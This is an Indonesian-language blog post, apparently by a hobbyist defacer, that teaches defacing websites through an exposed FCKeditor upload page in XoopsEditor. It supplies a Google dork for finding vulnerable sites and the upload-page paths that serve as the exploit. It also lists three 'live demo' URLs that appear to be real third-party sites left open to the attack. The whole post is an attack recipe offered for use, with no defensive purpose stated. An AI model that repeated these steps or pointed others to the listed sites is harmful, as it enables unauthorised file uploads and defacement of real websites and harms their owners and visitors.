Credits-Fikri(kwn saya)
XoopsEditor Upload File [FCKeditor] Deface
Assalamualaiku :D yuhuu hehe
Masih bertem dengan saya lagi, badboy.
Saya tidak pernah henti-hentinya untuk membagi ilmu :D
Okay sesuai judul di atas aja ya ?
Mari kita bahas bersama ^_^
Google Dork :
- inurl:"/xoopseditor/FCKeditor/"
*think it
Exploit :
- http://[localhost]/patch/class/xoopseditor/FCKeditor/editor/filemanager/upload/test.html
or
- http://[localhost]/patch/class/xoopseditor/fckeditor/fckeditor/editor/filemanager/connectors/uploadtest.html
or
- Open Dir Step by Step
Preview:
- You can see if succses upload file :D
File Allowed:
html,jpg,bmp,txt, dll
Live Demo:
- http://christophersattheknights.com/index/class/xoopseditor/FCKeditor/editor/filemanager/upload/test.html
- http://www.gdps.net/xp218/class/xoopseditor/FCKeditor/editor/filemanager/upload/test.html
- http://environmentpreferred.com/index/class/xoopseditor/fckeditor/fckeditor/editor/filemanager/connectors/uploadtest.html
Okay.. semuanya sudah saya kasih ?
Kurang apa lagi coba saya ?? :D hehe
Semoga bermanfaat ya ilmu saya.
Wassalamualaikum
No comments:
Post a Comment